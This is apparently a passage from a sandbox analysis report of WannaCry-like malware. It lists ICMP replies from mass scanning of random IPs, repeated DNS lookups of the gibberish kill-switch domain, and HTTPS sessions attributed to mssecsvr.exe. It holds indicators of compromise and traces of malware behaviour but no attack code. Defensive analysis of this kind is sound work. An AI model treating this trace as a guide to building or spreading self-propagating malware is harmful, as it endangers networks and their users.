Jul 20, 2022 09:08:09.462424040 CEST	107.163.170.203	192.168.2.6	d639	(Unknown)	Destination Unreachable
Jul 20, 2022 09:08:10.306480885 CEST	196.46.120.210	192.168.2.6	b569	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:08:15.719135046 CEST	37.79.196.18	192.168.2.6	a92c	(Unknown)	Destination Unreachable
Jul 20, 2022 09:08:17.967675924 CEST	91.23.189.45	192.168.2.6	4518	(Unknown)	Destination Unreachable
Jul 20, 2022 09:08:18.564904928 CEST	199.33.114.10	192.168.2.6	1d9b	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:08:22.147032022 CEST	10.199.1.5	192.168.2.6	9e91	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:08:25.658384085 CEST	218.248.113.37	192.168.2.6	16bb	(Unknown)	Destination Unreachable
Jul 20, 2022 09:08:26.449106932 CEST	189.216.5.41	192.168.2.6	80ba	(Unknown)	Destination Unreachable
Jul 20, 2022 09:08:26.534352064 CEST	177.185.5.225	192.168.2.6	1239	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:08:31.432881117 CEST	195.135.18.122	192.168.2.6	5469	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:08:31.919305086 CEST	80.7.83.42	192.168.2.6	6da8	(Unknown)	Destination Unreachable
Jul 20, 2022 09:08:31.995408058 CEST	172.17.58.6	192.168.2.6	ad09	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:08:34.369607925 CEST	10.95.159.65	192.168.2.6	e6ab	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:08:35.369595051 CEST	87.245.232.123	192.168.2.6	6146	(Net unreachable)	Destination Unreachable
Jul 20, 2022 09:08:35.561650038 CEST	113.171.36.81	192.168.2.6	496a	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:08:38.785414934 CEST	64.251.115.238	192.168.2.6	438d	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:08:41.021449089 CEST	188.96.240.188	192.168.2.6	47bf	(Unknown)	Destination Unreachable
Jul 20, 2022 09:08:41.783461094 CEST	189.124.0.3	192.168.2.6	1ea8	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:08:42.938194990 CEST	144.76.200.116	192.168.2.6	151e	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:08:45.387303114 CEST	118.151.212.62	192.168.2.6	f73a	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:08:46.225866079 CEST	136.37.11.96	192.168.2.6	5357	(Port unreachable)	Destination Unreachable
Jul 20, 2022 09:08:48.341898918 CEST	91.35.176.67	192.168.2.6	23ed	(Unknown)	Destination Unreachable
Jul 20, 2022 09:08:48.602030993 CEST	177.126.96.54	192.168.2.6	cba1	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:08:50.626123905 CEST	194.44.160.82	192.168.2.6	47e7	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:08:52.757988930 CEST	149.11.89.129	192.168.2.6	397c	(Net unreachable)	Destination Unreachable
Jul 20, 2022 09:08:54.090039015 CEST	81.228.85.153	192.168.2.6	9949	(Unknown)	Destination Unreachable
Jul 20, 2022 09:08:54.828840017 CEST	80.88.193.82	192.168.2.6	5d1c	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:08:56.338587999 CEST	195.151.222.69	192.168.2.6	66c2	(Unknown)	Destination Unreachable
Jul 20, 2022 09:08:58.428416014 CEST	10.255.120.46	192.168.2.6	e372	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:08:58.616532087 CEST	207.173.75.244	192.168.2.6	2675	(Unknown)	Destination Unreachable
Jul 20, 2022 09:09:00.464935064 CEST	212.218.128.6	192.168.2.6	5830	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:09:03.420520067 CEST	89.182.86.13	192.168.2.6	6700	(Unknown)	Destination Unreachable
Jul 20, 2022 09:09:03.709739923 CEST	202.3.144.253	192.168.2.6	ad6f	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:09:04.618484020 CEST	10.221.35.113	192.168.2.6	2edb	(Unknown)	Destination Unreachable
Jul 20, 2022 09:09:06.913832903 CEST	213.166.201.84	192.168.2.6	dd28	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:09:09.314923048 CEST	210.16.84.250	192.168.2.6	e10d	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:09:12.519347906 CEST	95.140.15.158	192.168.2.6	729c	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:09:14.513607979 CEST	192.168.246.141	192.168.2.6	628	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:09:16.075478077 CEST	209.37.4.5	192.168.2.6	a319	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:09:19.063347101 CEST	46.252.224.2	192.168.2.6	da4b	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:09:21.154577017 CEST	100.127.240.129	192.168.2.6	8600	(Net unreachable)	Destination Unreachable
Jul 20, 2022 09:09:23.419703007 CEST	195.36.1.4	192.168.2.6	b052	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:09:24.326445103 CEST	80.157.131.61	192.168.2.6	e941	(Unknown)	Destination Unreachable
Jul 20, 2022 09:09:24.572804928 CEST	93.220.133.19	192.168.2.6	4261	(Unknown)	Destination Unreachable
Jul 20, 2022 09:09:26.804610968 CEST	77.173.227.23	192.168.2.6	624c	(Unknown)	Destination Unreachable
Jul 20, 2022 09:09:28.081450939 CEST	80.116.97.80	192.168.2.6	ae3c	(Unknown)	Destination Unreachable
Jul 20, 2022 09:09:32.639836073 CEST	79.40.202.112	192.168.2.6	1fa9	(Unknown)	Destination Unreachable
Jul 20, 2022 09:09:34.547688007 CEST	111.119.231.10	192.168.2.6	2e5	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:09:34.598297119 CEST	12.133.173.202	192.168.2.6	d350	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:09:35.170779943 CEST	45.230.224.2	192.168.2.6	c966	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:09:39.237077951 CEST	195.219.251.18	192.168.2.6	6c28	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:09:40.750834942 CEST	172.30.6.226	192.168.2.6	860c	(Unknown)	Destination Unreachable
Jul 20, 2022 09:09:45.962239027 CEST	92.204.249.79	192.168.2.6	88cd	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:09:53.969325066 CEST	83.167.138.134	192.168.2.6	5ba4	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:09:56.449662924 CEST	95.33.210.39	192.168.2.6	f74a	(Unknown)	Destination Unreachable
Jul 20, 2022 09:09:58.105731010 CEST	149.29.10.58	192.168.2.6	8a1b	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:09:59.953612089 CEST	103.91.199.1	192.168.2.6	5588	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:10:00.977976084 CEST	107.165.18.139	192.168.2.6	3dfb	(Unknown)	Destination Unreachable
Jul 20, 2022 09:10:01.379679918 CEST	80.21.170.127	192.168.2.6	aea7	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:10:02.956020117 CEST	93.200.194.236	192.168.2.6	f2e	(Unknown)	Destination Unreachable
Jul 20, 2022 09:10:04.294260025 CEST	190.15.96.6	192.168.2.6	25f8	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:10:07.720839024 CEST	185.83.13.6	192.168.2.6	372	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:10:08.997443914 CEST	116.193.80.42	192.168.2.6	f23	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:10:10.994307995 CEST	62.255.255.150	192.168.2.6	18d7	(Unknown)	Destination Unreachable
Jul 20, 2022 09:10:12.149138927 CEST	10.254.8.202	192.168.2.6	d6c8	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:10:13.429439068 CEST	89.56.233.42	192.168.2.6	55ab	(Unknown)	Destination Unreachable
Jul 20, 2022 09:10:15.881508112 CEST	107.164.206.48	192.168.2.6	f99f	(Unknown)	Destination Unreachable
Jul 20, 2022 09:10:16.324544907 CEST	119.47.8.66	192.168.2.6	d8e7	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:10:20.079180002 CEST	93.47.19.139	192.168.2.6	b9da	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:10:22.677994013 CEST	200.237.205.134	192.168.2.6	f8c3	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:10:25.897660017 CEST	50.242.148.249	192.168.2.6	c995	(Unknown)	Destination Unreachable
Jul 20, 2022 09:10:27.945511103 CEST	130.245.5.4	192.168.2.6	a706	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:10:30.038031101 CEST	185.147.213.4	192.168.2.6	4e6a	(Port unreachable)	Destination Unreachable
Jul 20, 2022 09:10:30.328427076 CEST	191.52.178.1	192.168.2.6	280d	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:10:34.922390938 CEST	84.133.158.179	192.168.2.6	7bed	(Unknown)	Destination Unreachable
Jul 20, 2022 09:10:34.942727089 CEST	5.56.18.166	192.168.2.6	1d8b	(Unknown)	Destination Unreachable
Jul 20, 2022 09:10:35.065095901 CEST	41.188.142.122	192.168.2.6	cb2f	(Unknown)	Destination Unreachable
Jul 20, 2022 09:10:36.204452991 CEST	152.255.191.21	192.168.2.6	1a1c	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:10:37.101022005 CEST	91.97.65.68	192.168.2.6	1a40	(Unknown)	Destination Unreachable
Jul 20, 2022 09:10:43.777007103 CEST	212.2.180.90	192.168.2.6	397d	(Net unreachable)	Destination Unreachable
Jul 20, 2022 09:10:46.401788950 CEST	91.34.37.115	192.168.2.6	b193	(Unknown)	Destination Unreachable
Jul 20, 2022 09:10:49.152225018 CEST	193.51.163.67	192.168.2.6	24a9	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:10:50.833947897 CEST	203.208.190.2	192.168.2.6	a4c7	(Unknown)	Destination Unreachable
Jul 20, 2022 09:10:55.152760029 CEST	151.139.78.14	192.168.2.6	4e79	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:10:55.952759981 CEST	151.139.78.14	192.168.2.6	4e78	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:10:58.225455046 CEST	89.188.107.90	192.168.2.6	9941	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:10:58.253667116 CEST	146.247.191.181	192.168.2.6	972f	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:10:58.316431999 CEST	217.113.61.173	192.168.2.6	ec97	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:10:58.403779030 CEST	179.97.28.82	192.168.2.6	8ee5	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:11:05.770318985 CEST	83.19.12.85	192.168.2.6	1f3d	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:11:16.185993910 CEST	31.17.220.200	192.168.2.6	b3bf	(Unknown)	Destination Unreachable
Jul 20, 2022 09:11:18.446196079 CEST	77.191.183.186	192.168.2.6	db28	(Unknown)	Destination Unreachable
Jul 20, 2022 09:11:21.651698112 CEST	200.58.71.31	192.168.2.6	3ae4	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:11:23.837403059 CEST	212.85.149.142	192.168.2.6	44d4	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:11:27.759548903 CEST	10.0.21.161	192.168.2.6	d7ef	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:11:27.962780952 CEST	118.107.45.40	192.168.2.6	635e	(Unknown)	Destination Unreachable
Jul 20, 2022 09:11:29.976181984 CEST	88.71.35.231	192.168.2.6	5fa3	(Unknown)	Destination Unreachable
Jul 20, 2022 09:11:32.353187084 CEST	103.87.164.18	192.168.2.6	1b9f	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:11:32.357856989 CEST	154.203.212.83	192.168.2.6	2eea	(Unknown)	Destination Unreachable
Jul 20, 2022 09:11:33.558490992 CEST	154.218.182.249	192.168.2.6	119f	(Unknown)	Destination Unreachable
Jul 20, 2022 09:11:35.813569069 CEST	149.11.89.129	192.168.2.6	9f	(Net unreachable)	Destination Unreachable
Jul 20, 2022 09:11:38.258214951 CEST	200.2.144.150	192.168.2.6	ce54	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:11:41.149255991 CEST	213.246.32.129	192.168.2.6	3b21	(Host unreachable)	Destination Unreachable
Jul 20, 2022 09:11:42.569710016 CEST	162.158.85.134	192.168.2.6	9a4c	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:11:43.904510021 CEST	117.216.40.2	192.168.2.6	c345	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 09:11:51.361349106 CEST	172.16.112.126	192.168.2.6	8ff2	(Host unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 20, 2022 09:07:20.118371010 CEST	192.168.2.6	8.8.8.8	0x3784	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 09:07:21.468085051 CEST	192.168.2.6	8.8.8.8	0x6cd5	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 09:07:22.952004910 CEST	192.168.2.6	8.8.8.8	0x924c	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 20, 2022 09:07:20.137361050 CEST	8.8.8.8	192.168.2.6	0x3784	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 09:07:21.487339973 CEST	8.8.8.8	192.168.2.6	0x6cd5	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 09:07:22.979664087 CEST	8.8.8.8	192.168.2.6	0x924c	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

arc.msn.com

fs.microsoft.com

https:

www.bing.com

img-prod-cms-rt-microsoft-com.akamaized.net

sls.update.microsoft.com

ris.api.iris.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49720	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:05 UTC	0	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220308T162801Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8d0f7ed5f91f43be9ea85a975c062624&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418195&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1418195&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 Cache-Control: no-cache MS-CV: xLI6+xurWUeW1Yfv.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 07:07:05 UTC	2	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: fY3127c9ucB8XSm4FFU2rSElV9t8X1yZ0wmfUIENZIUUXn1kz55YYpSvX0oJF3hJ3X+e4VKpSxkAroJv6rhBh0CQsHSjZR2ZOTdGznPDnVQGHTDE1m5IO2IGoekTEROyA++kDsXGPF4lzg6YVkef4z81s+/hiambqUxwP3AzbJvcHkH/lupWZhoh9NzaJiHTs4VxuB0IK2QhI9HI4pFCEHACuPcMmF89Gy4IUkQZ/QDs0nMXDvY1a3XVQlYDFHKkq2Cw8d090IOFjOMdJwhgfZt/VhUbk9LU0cWTJc+hYtHWV276mZhQG0dDqCO2T6C7ZJRJZPHsGRZXyU0FVs8k8g== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 07:07:04 GMT Connection: close
2022-07-20 07:07:05 UTC	3	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 30 54 31 31 3a 30 37 3a 30 35 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-20T11:07:05"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49719	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:05 UTC	1	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220308T162802Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=db4321de229945348269bfc4ccead466&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418195&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1418195&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 Cache-Control: no-cache MS-CV: xLI6+xurWUeW1Yfv.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 07:07:05 UTC	3	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=1642 Content-Length: 53754 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"2,P425106554-T700342084-C128000000001392709+B+P80+S1,P425106558-T700342085-C128000000001392729+B+P80+S2"},{"BATCH_REDIRECT_STORE":"1,BB_9NXQXXLFST89_9WZDNCRFHVFW_9WZDNCRFJ3P2_9NCBCSZSJRSB_9NMPJ99VJBWV_9NBLGGH5FV99_9WZDNCRDFNG7+P0+S0"},{"BATCH_REDIRECT_STORE":"1,BB_9NBLGGGZM6WM_9WZDNCRFHWD2_9NH2GPH4JZS4_9NBLGGH6J6VK_9P6RC76MSMMJ_9WZDNCRFJ27N_9N0866FS04W8_9WZDNCRFJ10M_9WZDNCRFJ140_9NC2FBTHCJV8_9NBLGGH1CQ7L+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: Uk61/HlGs8Jyf9LQwP3XuiMvuYhhswcBSfxPcM0FQ8H7pm+Ztx5td0/olzW/etYC2EZLURl5yps2AE4bFTic2o6brG3zjY8vQqKMgPkopYKFEpxGIzpQ0F8aj7Gb2Fi8wGsIlt11z+60N+9ayru2huc1tdC9IVu+vVFMpsrfP2c6x2CVk8EiTOugSmQnRr8Cx+cere/NHjWix+etQ8RdpDiuFssEuNT3pDXWD9Dp7WRgu0D+6tBaLx9AavC1IDoZxQ6385JQa+lpVLyU9pk9Kf6KOuxQoAn3rZjq86P4QIa2RmJUvJN7eL/KBHw209wnjge1sh0e9GF1PhqI0TU07w== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 07:07:04 GMT Connection: close
2022-07-20 07:07:05 UTC	4	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 73 74 6f 72 65 43 61 6d 70 61 69 67 6e 49 64 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 2c 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 69 6e 73 74 61 6c 6c 41 70 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"u\":\"SubscribedContent\",\"c\":\"CDM\"}],\"ad\":{\"itemPropertyManifest\":{\"storeCampaignId\":{\"type\":\"text\",\"isOptional\":true},\"installApp\":{\"type\":\"boolean\
2022-07-20 07:07:05 UTC	19	IN	Data Raw: 5c 22 3a 5c 22 63 6c 69 63 6b 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 5c 22 75 72 69 5c 22 3a 5c 22 6d 73 2d 77 69 6e 64 6f 77 73 2d 73 74 6f 72 65 3a 5c 2f 5c 2f 70 64 70 5c 2f 3f 70 72 6f 64 75 63 74 69 64 3d 39 6e 62 6c 67 67 68 35 66 76 39 39 26 6f 63 69 64 3d 65 6d 73 2e 64 63 6f 2e 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 61 31 65 30 35 39 38 38 31 35 65 37 34 37 36 34 62 38 38 30 63 38 63 65 36 39 37 36 32 39 30 37 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d Data Ascii: \":\"click\",\"parameters\":{\"uri\":\"ms-windows-store:\/\/pdp\/?productid=9nblggh5fv99&ocid=ems.dco.startprogrammable&ccid=a1e0598815e74764b880c8ce69762907&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{}
2022-07-20 07:07:05 UTC	35	IN	Data Raw: 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 33 66 39 39 32 64 63 32 39 62 65 39 34 32 62 34 61 36 35 30 34 64 30 34 31 33 35 35 33 63 32 32 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6e 6f 4f 70 5c 22 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 4d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 57 69 64 65 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 Data Ascii: tprogrammable&ccid=3f992dc29be942b4a6504d0413553c22&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{},\"action\":\"noOp\"},\"showNameOnMediumTile\":{\"bool\":true},\"showNameOnWideTile\":{\"bool\":true},\"sh
2022-07-20 07:07:05 UTC	51	IN	Data Raw: 61 64 38 31 2d 31 33 31 39 36 66 35 62 61 66 30 30 3f 66 6f 72 6d 61 74 3d 73 6f 75 72 63 65 5c 22 2c 5c 22 77 69 64 74 68 5c 22 3a 31 34 32 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 34 32 2c 5c 22 73 68 61 32 35 36 5c 22 3a 5c 22 51 50 5c 2f 4a 45 48 4a 59 57 39 38 6d 36 39 4f 4a 4c 42 42 30 59 48 33 64 78 49 6a 70 75 6d 59 72 74 74 4c 46 38 62 66 5c 2f 33 66 77 3d 5c 22 2c 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 31 37 30 31 38 7d 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 5c 22 3a 7b 5c 22 6e 75 6d 62 65 72 5c 22 3a 32 2e 30 7d 2c 5c 22 6d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 5c 2f 69 6d 61 67 65 5c 2f 61 70 70 Data Ascii: ad81-13196f5baf00?format=source\",\"width\":142,\"height\":142,\"sha256\":\"QP\/JEHJYW98m69OJLBB0YH3dxIjpumYrttLF8bf\/3fw=\",\"fileSize\":17018},\"collection\":{\"number\":2.0},\"mediumTile\":{\"image\":\"https:\/\/store-images.s-microsoft.com\/image\/app

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	50165	40.126.31.73	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:49 UTC	199	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
